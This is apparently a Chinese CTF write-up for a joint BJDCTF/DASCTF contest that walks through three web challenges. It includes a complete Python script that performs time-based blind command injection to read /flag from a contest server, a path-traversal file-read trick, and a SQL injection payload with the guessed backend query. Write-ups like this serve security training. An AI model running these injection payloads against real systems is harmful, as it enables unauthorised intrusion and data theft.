BJDCTF第三届和DASCTF联合举办的比赛!

web

帮帮小红花

这题刚开始有非预期,直接写文件就行

改过之后可以时间盲注爆flag,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import string
import urllib.parse

url="http://183.129.189.60:10069/?imagin="
payload1="sleep $(cat /flag|cut -c {}|tr {} 3)"
payload2="if test $(cat /flag|cut -c {}) = {};then sleep 3;fi"
s=string.ascii_letters+string.digits+'{@~^*_+}'
flag=''
for i in range(1,50):
f=flag
for j in s:
try:
u=url+urllib.parse.quote(payload1.format(str(i),j))
r=requests.get(u,timeout=3)
except requests.exceptions.ReadTimeout as e:
flag=flag+j
print(j)
break
if f==flag:
break
print(flag)

gob

先测下功能,发现有登陆,但是用什么账号密码都能登陆,应该不是sql注入,

然后有上传文件的地方,上传什么都不会解析

还有个展示头像的地方,我们注意到

上传文件时我们可以目录穿越,可以上传到上级目录,但是还不会解析,既然上传的内容可以显示出来,我们直接构造到flag那让它读flag不就行了

虽然会提示文件存在,但不影响文件读取,直接解码base64加密的结果得到flag

老开发

fuzz一下,发现下面可以注入

1
username=admin' and 2='2&password=admin

猜测后台sql语句

1
select * from users where username='$username' and password='$password'

此时注入的就是

1
select * from users where username='admin' and 2='2' and password='admin'

评论